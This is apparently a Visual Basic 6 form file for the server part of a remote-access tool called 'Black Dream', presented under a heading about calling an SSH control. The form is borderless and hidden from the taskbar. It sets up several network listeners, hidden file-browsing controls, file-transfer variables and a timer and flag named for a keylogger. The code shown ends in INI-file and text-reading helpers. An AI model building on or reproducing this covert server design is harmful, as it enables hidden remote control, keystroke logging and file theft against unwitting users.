server.frm

用VB调用SSH控件

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Server 
   BorderStyle     =   0  'None
   Caption         =   "Black Dream"
   ClientHeight    =   3735
   ClientLeft      =   5865
   ClientTop       =   1410
   ClientWidth     =   3750
   BeginProperty Font 
      Name            =   "Tahoma"
      Size            =   8.25
      Charset         =   0
      Weight          =   400
      Underline       =   0   'False
      Italic          =   0   'False
      Strikethrough   =   0   'False
   EndProperty
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   3735
   ScaleWidth      =   3750
   ShowInTaskbar   =   0   'False
   StartUpPosition =   2  '屏幕中心
   Begin VB.Timer Timer3 
      Enabled         =   0   'False
      Interval        =   1000
      Left            =   3840
      Top             =   4320
   End
   Begin VB.TextBox Text2 
      Height          =   285
      Left            =   4080
      MultiLine       =   -1  'True
      TabIndex        =   8
      Top             =   2040
      Width           =   2895
   End
   Begin VB.Timer Timer2 
      Interval        =   100
      Left            =   2760
      Top             =   4080
   End
   Begin VB.Timer Timer1 
      Interval        =   100
      Left            =   3120
      Top             =   4080
   End
   Begin VB.CommandButton Command1 
      Caption         =   "Command1"
      Height          =   255
      Left            =   3120
      TabIndex        =   6
      Top             =   4920
      Width           =   615
   End
   Begin VB.CheckBox Check1 
      Caption         =   "连接/等待"
      Height          =   225
      Left            =   360
      TabIndex        =   5
      Top             =   4200
      Width           =   1125
   End
   Begin VB.TextBox Text1 
      Height          =   285
      Left            =   120
      TabIndex        =   4
      Top             =   3360
      Width           =   3495
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   1800
      Top             =   3720
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   502
   End
   Begin VB.Timer TimerFileListen 
      Interval        =   1
      Left            =   240
      Top             =   2280
   End
   Begin MSWinsockLib.Winsock WinsockData 
      Left            =   720
      Top             =   2880
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   4433
   End
   Begin VB.DirListBox ListDir 
      Height          =   315
      Left            =   1320
      TabIndex        =   2
      TabStop         =   0   'False
      Top             =   3000
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.FileListBox FileList 
      Height          =   285
      Left            =   1320
      TabIndex        =   1
      TabStop         =   0   'False
      Top             =   2640
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.DriveListBox DriveList 
      Height          =   315
      Left            =   1320
      TabIndex        =   0
      TabStop         =   0   'False
      Top             =   2280
      Visible         =   0   'False
      Width           =   2175
   End
   Begin VB.Timer KeyloggerTimer 
      Enabled         =   0   'False
      Interval        =   2000
      Left            =   240
      Top             =   3480
   End
   Begin VB.Timer Timer 
      Interval        =   1
      Left            =   240
      Top             =   2880
   End
   Begin MSWinsockLib.Winsock WinsockCtl 
      Left            =   720
      Top             =   2280
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   512
   End
   Begin MSWinsockLib.Winsock wskServer 
      Index           =   0
      Left            =   2400
      Top             =   3720
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSWinsockLib.Winsock wskClient 
      Left            =   720
      Top             =   3720
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      LocalPort       =   552
   End
   Begin VB.Label Label3 
      Height          =   375
      Left            =   4200
      TabIndex        =   9
      Top             =   2640
      Width           =   1695
   End
   Begin VB.Label Label2 
      Caption         =   "Label2"
      Height          =   375
      Left            =   480
      TabIndex        =   7
      Top             =   4680
      Width           =   2055
   End
   Begin VB.Label Label1 
      AutoSize        =   -1  'True
      BackStyle       =   0  'Transparent
      Height          =   1755
      Left            =   120
      TabIndex        =   3
      Top             =   120
      Width           =   3495
      WordWrap        =   -1  'True
   End
End
Attribute VB_Name = "Server"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim TransferFileOpen As Boolean
Dim TransferFileName As String
Dim EndKeylogger As Boolean
Dim AppendToFile As Boolean
Dim LoadedSize As Boolean
Dim FileBinary As String
Dim FileNumber As Long
Dim TotalBytes As Long
Dim FoundBytes As Long
Dim GotBytes As Long
Dim strPass As String
Dim strname As String
Dim strCont As String
Dim userPurview As String
Dim cv As Integer
Dim cvb As Long
Dim i As Long
Dim fso As New FileSystemObject
Dim strDrive As String
Dim strFolder As String
Dim forname As String
Dim getPathStr As String

Dim SysPath As String '系统目录
 Dim sCurrentPath As String '当前程序名

Dim strCharB, strCharA
  Dim strSectionTemp As String
  Dim strNameTemp As String
  Dim strReturn As String
  
  Dim glngFileptr As Long
Dim gblnConnectionOK As Boolean
Dim gstrFileName As String
  
  Dim FileNumber2 As Integer
Dim LenFile2 As Long
Dim OnAccept2 As Boolean '是否在接收"字节"数据状态
'----------------------
Dim ProBarLen2 As Long
Dim VarPlus2 As Long
  
  Dim GetFileNum As Integer
Dim LenFile As Long
Dim OnSend As Boolean
Dim OnAccept As Boolean '是否在接收"字节"数据状态
'--------------------
Dim ProBarLen As Long
Dim VarPlus As Long
'读取文本
Function getTxt(Strpath As String) As String
On Error GoTo Errhandler
Dim sdf As String
Open Strpath For Input As #1
While Not EOF(1)
Line Input #1, sdf

getPathStr = getPathStr & sdf & vbCrLf
Wend
Close #1
Errhandler:
Exit Function
End Function


Private Sub getset(strConnect As String)

Dim varSplit As Variant, Name As String, pass As String
On Error GoTo Errhandler
If Not blnConnected Then
    varSplit = Split(Trim(strConnect))
    If UBound(varSplit) > 0 Then
        If InStr(1, varSplit(1), ":") Then
            Name = Trim(Mid(varSplit(1), 1, InStr(1, varSplit(1), ":") - 1))
            pass = Trim(Mid(varSplit(1), InStr(1, varSplit(1), ":") + 1))
        Else
            Name = Trim(varSplit(1))
            pass = Trim("")
        End If
    End If
End If
Errhandler:
        Exit Sub
End Sub


Function GetProfile(strFileName As String, strSection As String, strname As String) As String
  '这个函数是用来对INI文件进行读操作的
  '函数说明:
  'strFileName 是所要读取的文件名
  'strSection  是这个文件中的一个节点名
  'strName 是所要查找的字段名
  '返回值：
  '薛向华 1998/05/13
   strSectionTemp = ""
   strNameTemp = ""
   strReturn = ""
   On Error GoTo ErrSrchSection
   Open strFileName For Input As #1
   ' 下面这段程序是用来查找节点的
     Do While Not EOF(1)
        strCharA = Input(1, #1)
        If strCharA = "[" Then
           Do While Not EOF(1)
             strCharB = Input(1, #1)
             If strCharB = "]" Then Exit Do
             strSectionTemp = strSectionTemp & strCharB
           Loop
        End If
        If strSectionTemp = strSection Then
          strCharA = Input(2, #1)
          Exit Do
        Else
          strSectionTemp = ""
        End If
     Loop
 On Error GoTo ErrReadFile
  
aa:
    '下面这段程序是用来查找所要查找的字段的
    strNameTemp = ""
    Do While Not EOF(1)
      strCharA = Input(1, #1)
      If strCharA <> "=" Then
        strNameTemp = strNameTemp & strCharA  '得到名称
      Else
        Exit Do
      End If
    Loop
        If strNameTemp = strname Then
       Line Input #1, strReturn  '如果找到与它匹配的字段名，就返回得到的值
    Else
       Line Input #1, strReturn  '如果未找到与它匹配的字段名，就继续找
       GoTo aa
    End If
    Close #1
    GetProfile = strReturn
    Exit Function
ErrReadFile:
    Dim inrRet As Integer
    'intret = MsgBox("在文件中没有找到所要查找的字段", vbAbortRetryIgnore, "错误信息")
    Select Case intret
       Case vbAbort
          GetProfile = ""
          Close #1
          Exit Function
       Case vbRetry
          Resume
       Case vbIgnore
          Resume Next
     End Select
ErrSrchSection:
    ' MsgBox "节点未找到", vbOKOnly
     GetProfile = ""
     Close #1